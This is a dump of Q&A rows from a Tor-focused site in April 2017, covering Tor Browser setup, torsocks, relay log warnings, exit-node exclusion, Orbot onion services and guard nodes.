  <row Id="14584" PostTypeId="2" ParentId="14583" CreationDate="2017-04-18T09:47:03.243" Score="0" Body="&lt;p&gt;Hope this helps. Go to your Tor Browser folder, open &lt;strong&gt;cmd&lt;/strong&gt; in the &lt;em&gt;Browser&lt;/em&gt; folder and type this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;firefox.exe &quot;http://google.com&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can put this in batch, but kill the process before you start the new browser. &#xA;You can also change the homepage of the browser when it starts if you always want to open a single url and just &lt;code&gt;firefox.exe&lt;/code&gt; in your cmd window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for /l %%x in (1,1,100) do (&#xA;start browser/firefox.exe &quot;http://google.com&quot;&#xA;timeout /t 100&#xA;taskkill /im firefox.exe /f&#xA;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;save as file.bat and run&lt;/p&gt;&#xA;" OwnerUserId="10350" LastEditorUserId="10350" LastEditDate="2017-04-18T12:11:01.743" LastActivityDate="2017-04-18T12:11:01.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14585" PostTypeId="1" CreationDate="2017-04-18T12:10:36.993" Score="0" ViewCount="630" Body="&lt;p&gt;&lt;code&gt;profanity.im&lt;/code&gt; is a console based XMPP client written in C. It doesn't (unfortunately) have any kind of proxy support built-in. Is is safe to use torsocks with a console based program like profanity?&lt;/p&gt;&#xA;" OwnerUserId="17159" LastActivityDate="2017-05-18T16:40:53.077" Title="Is it safe to pipe profanity through torsocks?" Tags="|ubuntu|torsocks|terminal|proxy-leaks|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14588" PostTypeId="2" ParentId="14585" CreationDate="2017-04-18T15:44:30.213" Score="1" Body="&lt;p&gt;Generally speaking, if it works with &lt;code&gt;torsocks&lt;/code&gt; wrapping it, it should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torsocks&lt;/code&gt; can cause some features to break but it shouldn't result in any leaks under normal circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to tell without thorough review if any program is 100% safe, but outside of a few common situations where it may leak most applications should be fine.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-18T15:44:30.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14591" PostTypeId="1" AcceptedAnswerId="14593" CreationDate="2017-04-18T20:37:48.247" Score="2" ViewCount="7078" Body="&lt;p&gt;I've downloaded the Windows Tor Browser package from &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  I installed the Tor Browser on Windows 10 64-bit.  Task Manager shows Tor Browser, tor.exe running as 32 bit processes.   The installation process didn't allow me to select 32 or 64 bit.   Can Tor Browser run as a 64-bit process on Windows?  If so, what must I do to make that happen?  My machine has 8GB RAM and I want Tor Browser to have access to 8GB instead of 4GB for 32-bit processes.&lt;/p&gt;&#xA;" OwnerUserId="17166" LastActivityDate="2017-04-19T01:21:36.690" Title="How to install 64-bit Tor Browser on Windows 10" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14593" PostTypeId="2" ParentId="14591" CreationDate="2017-04-19T01:21:36.690" Score="1" Body="&lt;p&gt;Tor Browser is currently only distributed as a 32bit program for Windows. This is quite common for Windows applications, which natively supports 32bit applications on its 64bit operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mozilla only started publishing &lt;a href=&quot;https://blog.mozilla.org/futurereleases/2015/12/15/firefox-64-bit-for-windows-available/&quot; rel=&quot;nofollow noreferrer&quot;&gt;64bit Firefox for Windows in late 2015&lt;/a&gt; and the Tor Browser team didn't consider the code base stable enough to be a candidate &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20636&quot; rel=&quot;nofollow noreferrer&quot;&gt;until recently&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not currently available but it's likely that they will eventually be introduced.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-19T01:21:36.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14594" PostTypeId="2" ParentId="7212" CreationDate="2017-04-19T11:50:39.910" Score="1" Body="&lt;p&gt;Actually &lt;a href=&quot;https://tor.stackexchange.com/a/7216/14629&quot;&gt;the answer of @RichardHorrocks&lt;/a&gt; is quite helpful, but IMHO leaves out some of the &lt;a href=&quot;https://wiki.archlinux.org/index.php/Tor#TorDNS&quot; rel=&quot;nofollow noreferrer&quot;&gt;relevant parts&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to resolve a single hostname via Tor, use &lt;code&gt;tor-resolve $hostname&lt;/code&gt; and for reverse (PTR) lookups use &lt;code&gt;tor-resolve -x $ip&lt;/code&gt;. (For me, that part was relevant but nowhere else in this Q&amp;amp;A mentioned, hence the new reply.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only drawback so far: You can't specify the query type (e.g. A, NS, MX, etc.) and also IPv6-only hosts (those with only AAAA records) can't (yet) be resolved at all and cause such a message: &lt;code&gt;[warn] Got SOCKS5 status response '4': host is unreachable&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For using Tor to generally resolve all DNS requests of the local system, &lt;a href=&quot;https://tor.stackexchange.com/a/7213/14629&quot;&gt;the anonymous answer&lt;/a&gt; already shows the basics and the link in the answer of @RichardHorrocks the details.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2017-04-19T11:50:39.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14595" PostTypeId="1" CreationDate="2017-04-19T12:18:07.050" Score="0" ViewCount="1625" Body="&lt;p&gt;According with this &lt;a href=&quot;https://groups.google.com/forum/#!msg/kronymous/UkSZ3DOpdd4/Gx7K4HJLCgAJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt;,kronymous 0.2.8 seems to work with the the &lt;code&gt;Developer Channel 58.0.3029.31 (Official Build) dev (32-bit)&lt;/code&gt;,so I have tried to check if it was true. I have installed &lt;code&gt;Chrome 59.0.3071.9 (official Build) dev (at 64 bit)&lt;/code&gt; and also this &lt;a href=&quot;https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif&quot; rel=&quot;nofollow noreferrer&quot;&gt;proxy&lt;/a&gt;,that I have configured like this :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mrZr1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mrZr1.png&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and then,I opened a new tab on chrome where I wrote &lt;code&gt;chrome://apps&lt;/code&gt; and I saw the Kronymous icon. When I clicked over this,I saw these messages :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Loading NaCl module.&lt;/p&gt;&#xA;&lt;p&gt;Loaded.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Tor v0.2.8.9 (git-61345e6ee264ca83) running on NaCl with Libevent 2.0.22-stable,OpenSSL 1.0.2e and Zlib 1.2.8.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Tor can't help you if you use it wrong! Learn how to be safe at &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;[notice] Read configuration file &amp;quot;/mnt/http/tor/conf&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Opening Socks listener on 127.0.0.1:9999&lt;/p&gt;&#xA;&lt;p&gt;[notice] Parsing GEOIP IPv4 file&lt;/p&gt;&#xA;&lt;p&gt;/mnt/http/tor/geoip-files/geoip.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Parsing GEOIP IPv6 file /mnt/http/tor/geoip-files/geoip6.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Bootstrapped 0%: Starting&lt;/p&gt;&#xA;&lt;p&gt;[notice] Bootstrapped 80%: Connecting to the Tor network&lt;/p&gt;&#xA;&lt;p&gt;[notice] Bootstrapped 85%: Finishing handshake with first hop&lt;/p&gt;&#xA;&lt;p&gt;[notice] Bootstrapped 90%: Establishing a Tor circuit&lt;/p&gt;&#xA;&lt;p&gt;[notice] Tor has successfully opened a circuit. Looks like client functionality is working.&lt;/p&gt;&#xA;&lt;p&gt;[notice] Bootstrapped 100%: Done&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems there aren't errors,but when I clicked on &lt;code&gt;Are You Browsing Anonymously ?&lt;/code&gt;,it said that I'm not running tor. So,it seems that it is configured correctly,but tor is not working ? Where is the mistake ? thanks.&lt;/p&gt;&#xA;" OwnerUserId="17168" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2022-10-18T19:02:15.280" Title="Kronymous 0.2.8 is working with Chrome 59.0.3071.9 (official Build) dev (at 64 bit)?" Tags="|tor-browser-bundle|anonymity|vpn|chrome|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14596" PostTypeId="1" CreationDate="2017-04-19T14:29:34.967" Score="2" ViewCount="202" Body="&lt;p&gt;I have a tor relay,and after few days i see many strings,like this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;http status 400 (&quot;Suspicious relay address range -- please contact&#xA;  us?&quot;) response from dirserver '171.25.193.9:443'. Please correct.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is this and how can i change this?&lt;/p&gt;&#xA;" OwnerUserId="17174" LastActivityDate="2017-04-19T17:25:49.837" Title="Suspicious relay address range in log" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14598" PostTypeId="2" ParentId="14595" CreationDate="2017-04-19T16:10:37.110" Score="0" Body="&lt;p&gt;I found the solution here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://techapple.net/2016/10/how-to-use-kronymous-to-access-tor-network-on-chrome-browser-google-chrome-os-chromebooks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://techapple.net/2016/10/how-to-use-kronymous-to-access-tor-network-on-chrome-browser-google-chrome-os-chromebooks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where it says :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Once you have connected to Tor Network, simply open a new window , Select the “O” Omega  icon as shown in the image below , and select the “proxy” profile which we saved in the Step 1.&lt;/p&gt;&#xA;" OwnerUserId="17168" LastActivityDate="2017-04-19T16:10:37.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14599" PostTypeId="2" ParentId="14596" CreationDate="2017-04-19T17:25:49.837" Score="2" Body="&lt;p&gt;You or someone else has run malicious relays from your IP or IP range in the past, and you're blacklisted for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should contact bad-relays@lists.torproject.org to find out more and see about resolving it.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-19T17:25:49.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14604" PostTypeId="2" ParentId="14469" CreationDate="2017-04-20T03:30:17.633" Score="2" Body="&lt;p&gt;The meek servers are distributed with Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of meek is to be difficult to censor not because the bridges are hard to find but because they're hard to distinguish from other traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have luck requesting meek bridges from &lt;a href=&quot;https://www.torproject.org/docs/bridges#FindingMore&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt; but it's not the most common transport, since it's only effective if there are other types of traffic which also use the same service which you can blend in to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The large providers which provide suitable services are already covered by the defaults in Tor Browser. It may be that others run and distribute them manually and you could similarly set up your own meek bridge to use.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-20T03:30:17.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14605" PostTypeId="1" CreationDate="2017-04-20T08:52:46.170" Score="0" ViewCount="104" Body="&lt;pre&gt;&lt;code&gt;4/20/2017 3:10:51 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/20/2017 3:10:51 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/20/2017 3:10:51 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/20/2017 3:10:51 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/20/2017 3:10:51 AM.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/20/2017 3:10:51 AM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;4/20/2017 3:12:01 AM.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at 154.35.175.225:443) &#xA;4/20/2017 3:12:01 AM.700 [WARN] 10 connections have failed: &#xA;4/20/2017 3:12:01 AM.700 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this computer for work, I assume this means boss has control of what I am doing...?  Downloaded TOR several weeks ago and when employer had Server company remote in, my TOR was removed from desktop and internet explorer was added in its place... New to TOR, just want to know what this message was and how I can tell if he is seeing my traffic, etc&lt;/p&gt;&#xA;" OwnerUserId="17190" LastEditorUserId="12737" LastEditDate="2017-04-20T19:17:59.310" LastActivityDate="2017-04-21T09:21:26.910" Title="I am using Tor on personal computer used for work, when attempting to open TOR I received the following message" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-05-09T12:10:18.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="14607" PostTypeId="1" CreationDate="2017-04-20T15:52:03.860" Score="0" ViewCount="226" Body="&lt;p&gt;Is it possible to avoid exit-nodes where a site is blocked by the exit-node's ISP (or - I guess - government)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can specific exit-nodes be &quot;turned off&quot;?&lt;/li&gt;&#xA;&lt;li&gt;Can groups of exit nodes be &quot;turned off&quot; based on top-domain and/or on location (ie. country)?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to do the above &lt;em&gt;only&lt;/em&gt; for specific sites (maybe specified by using regular expressions); Ie. &quot;turn it off&quot; only when visiting sites known to be blocked, but leave them &quot;on&quot; for other (not blocked) sites?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it's possible, how would I proceed to do it?&lt;/p&gt;&#xA;" OwnerUserId="1522" LastActivityDate="2017-04-20T18:11:42.590" Title="Avoiding exit-nodes with ISP-/country-based blocks of a site?" Tags="|exit-relays|censorship|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14608" PostTypeId="2" ParentId="14607" CreationDate="2017-04-20T18:11:42.590" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can specific exit-nodes be &quot;turned off&quot;?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Can groups of exit nodes be &quot;turned off&quot; based on top-domain and/or on location (ie. country)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can add an &lt;code&gt;ExcludeNodes&lt;/code&gt; to your &lt;code&gt;torrc&lt;/code&gt; config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeNodes node,node,... A list of identity fingerprints, country&#xA;  codes, and address patterns of nodes to avoid when building a circuit.&#xA;  Country codes are 2-letter ISO3166 codes, and must be wrapped in&#xA;  braces; fingerprints may be preceded by a dollar sign. (Example:&#xA;  ExcludeNodes ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234, {cc},&#xA;  255.254.0.0/8)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By default, this option is treated as a preference that Tor is allowed&#xA;  to override in order to keep working. For example, if you try to&#xA;  connect to a hidden service, but you have excluded all of the hidden&#xA;  service’s introduction points, Tor will connect to one of them anyway.&#xA;  If you do not want this behavior, set the StrictNodes option&#xA;  (documented below).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that if you are a relay, this (and the other node selection&#xA;  options below) only affects your own circuits that Tor builds for you.&#xA;  Clients can still build circuits through you to any node. Controllers&#xA;  can tell Tor to build circuits through any node.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Country codes are case-insensitive. The code &quot;{??}&quot; refers to nodes&#xA;  whose country can’t be identified. No country code, including {??},&#xA;  works if no GeoIPFile can be loaded. See also the GeoIPExcludeUnknown&#xA;  option below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to do the above only for specific sites (maybe specified by using regular expressions); Ie. &quot;turn it off&quot; only when visiting sites known to be blocked, but leave them &quot;on&quot; for other (not blocked) sites?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I know you can't do this easily.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-20T18:11:42.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14609" PostTypeId="1" CreationDate="2017-04-20T18:45:40.420" Score="2" ViewCount="145" Body="&lt;p&gt;If a client has a not-so-not-fresh consensus (&amp;lt;24hr), does he download the whole consensus again directly (by reaching to the directory authorities) or from his guard relay (client&amp;lt;=&gt;guard relay&amp;lt;=&gt;directory authority)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17196" LastActivityDate="2018-11-16T11:02:55.597" Title="If a client has a not-so-not-fresh consensus (&lt;24hr), does he download the whole consensus again directly or from a relay?" Tags="|relays|directory|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14610" PostTypeId="2" ParentId="14471" CreationDate="2017-04-20T18:59:46.880" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to set the Tor Browser as my default browser for handling .html files?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor Browser makes it deliberately hard to set it as the default browser. There are some privacy concerns. Take a look at ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12763&quot; rel=&quot;nofollow noreferrer&quot;&gt;#12763&lt;/a&gt; and &lt;code&gt;torbrowser-launcher&lt;/code&gt;'s issue &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher/issues/157&quot; rel=&quot;nofollow noreferrer&quot;&gt;#157&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="12737" LastEditDate="2017-07-03T02:54:41.010" LastActivityDate="2017-07-03T02:54:41.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14611" PostTypeId="2" ParentId="6252" CreationDate="2017-04-20T20:55:23.080" Score="2" Body="&lt;p&gt;Starting with the current beta release of Orbot &lt;a href=&quot;https://github.com/n8fr8/orbot/releases/tag/15.4.0-beta-2-multi&quot; rel=&quot;nofollow noreferrer&quot;&gt;15.4.0 beta-2&lt;/a&gt;, Orbot has a new menu which makes it very easy to add hidden services.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open settings menu&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7N43hl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7N43hl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Click on &quot;Hidden Services&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YKGp6l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKGp6l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Click on &quot;Hosted Services&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gjyabl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gjyabl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Pick a name for your service&lt;/li&gt;&#xA;&lt;li&gt;Enter Port your service uses locally&lt;/li&gt;&#xA;&lt;li&gt;Select the port your service is reachable via .onion (choose 80 if it is a web service)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QnJDll.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnJDll.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;Click on the newly created service in the list&lt;/li&gt;&#xA;&lt;li&gt;Copy the .onion address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/spKcLl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/spKcLl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-04-22T11:36:21.453" LastActivityDate="2017-04-22T11:36:21.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14612" PostTypeId="2" ParentId="14391" CreationDate="2017-04-21T01:02:10.277" Score="0" Body="&lt;p&gt;I just had to download the new update that came out recently today and it fixed the problem for me. I am able to use obfs4 now. I appreciate those who tried to help! &lt;/p&gt;&#xA;" OwnerUserId="16821" LastActivityDate="2017-04-21T01:02:10.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14613" PostTypeId="2" ParentId="14493" CreationDate="2017-04-21T08:10:28.673" Score="1" Body="&lt;p&gt;Tor and Tor Browser hide your location from any website. The connections goes through three different relays and the website can only see the relay where your connection is exiting. However when you look at the &lt;a href=&quot;https://metrics.torproject.org/bubbles.html#country-exits-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;bubble graphs sorted by country&lt;/a&gt; you'll find that a huge percentage of relays is in the USA, Romania, Netherlands and Germany. So if you're living in the US and look at the flag counter there is a high chance that the flag counter says you're from the US, because the exit lives in the US. But in this example it doesn't know your real location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whener you visit a website with the Tor Browser you can click on the green onion and see where your connection currently exits.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-04-21T08:10:28.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14614" PostTypeId="2" ParentId="4727" CreationDate="2017-04-21T09:21:26.910" Score="1" Body="&lt;p&gt;Here is the first &lt;code&gt;[WARN]&lt;/code&gt; that you get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4/20/2017 3:12:01 AM.700 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at 154.35.175.225:443) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's telling you that it can't connect to one of the directory servers (which means that it can't download the consensus, or all the informations you need to know about the Tor relays to connect to them and create a circuit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this can tell us is that your employer is blocking Tor in your network. The solution in this case would be to use bridges with pluggable transports, which work to disguise your Tor traffic as something else and thus make it harder to block it (try to use &lt;code&gt;obfs4&lt;/code&gt; or &lt;code&gt;meek-amazon&lt;/code&gt; or &lt;code&gt;meek-azure&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to re-download Tor again from work see this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/78/my-isp-network-government-has-blocked-access-to-the-torproject-website-how-can&quot;&gt;My ISP/Network/Government has blocked access to the TorProject website. How can I download Tor?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XgN4Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XgN4Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17203" LastActivityDate="2017-04-21T09:21:26.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14615" PostTypeId="2" ParentId="14563" CreationDate="2017-04-21T11:56:33.430" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you read carefully in order to follow the Linux part and not anything on Windows or osx. &lt;/p&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2017-04-21T11:56:33.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14617" PostTypeId="1" CreationDate="2017-04-21T13:29:31.187" Score="0" ViewCount="353" Body="&lt;p&gt;In TOR Browser 6.5.2 if I do 'New Tor Circuit for this site', I get the same first node and IP address on the new circuit every time I hit new circuit. It always used to differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I quit out of TOR and go back in it's always the same first node. Checked with a couple of friends and their 6.5.2 browsers are doing exactly the same. The first node and IP isn't the same as the one I'm getting but it remains constant for them no matter how many times New Circuit is chosen or if they quit and go back in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone else seeing this?&lt;/p&gt;&#xA;" OwnerUserId="17205" LastEditorUserId="88" LastEditDate="2017-04-21T15:45:16.883" LastActivityDate="2017-04-21T15:45:16.883" Title="Same first node" Tags="|circuit|guard|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-04-21T15:46:56.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="14618" PostTypeId="2" ParentId="4099" CreationDate="2017-04-21T15:43:29.210" Score="2" Body="&lt;p&gt;Yes i see it too. I think it's because when you choose a guard node (the first node out of the three) you stick to the same one for 4-8 weeks as describe here &amp;quot;clients rotate their guards nodes every 4-8 weeks&amp;quot;. (&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="17208" LastEditorUserId="31632" LastEditDate="2021-06-03T14:27:56.833" LastActivityDate="2021-06-03T14:27:56.833" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14620" PostTypeId="1" AcceptedAnswerId="14621" CreationDate="2017-04-21T17:40:35.800" Score="0" ViewCount="278" Body="&lt;p&gt;Where can I find the &lt;code&gt;tor-resolve&lt;/code&gt; program to use in the shell on my mac?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor app&lt;/a&gt; from the website it works without any problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to use the &lt;code&gt;tor-resolve&lt;/code&gt; program that should come with the tor app, but it doesn't seem to be installed. &lt;/p&gt;&#xA;" OwnerUserId="17210" LastActivityDate="2017-04-21T18:20:29.227" Title="Can't find tor-resolve on Mac" Tags="|tor-browser-bundle|configuration|mac|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
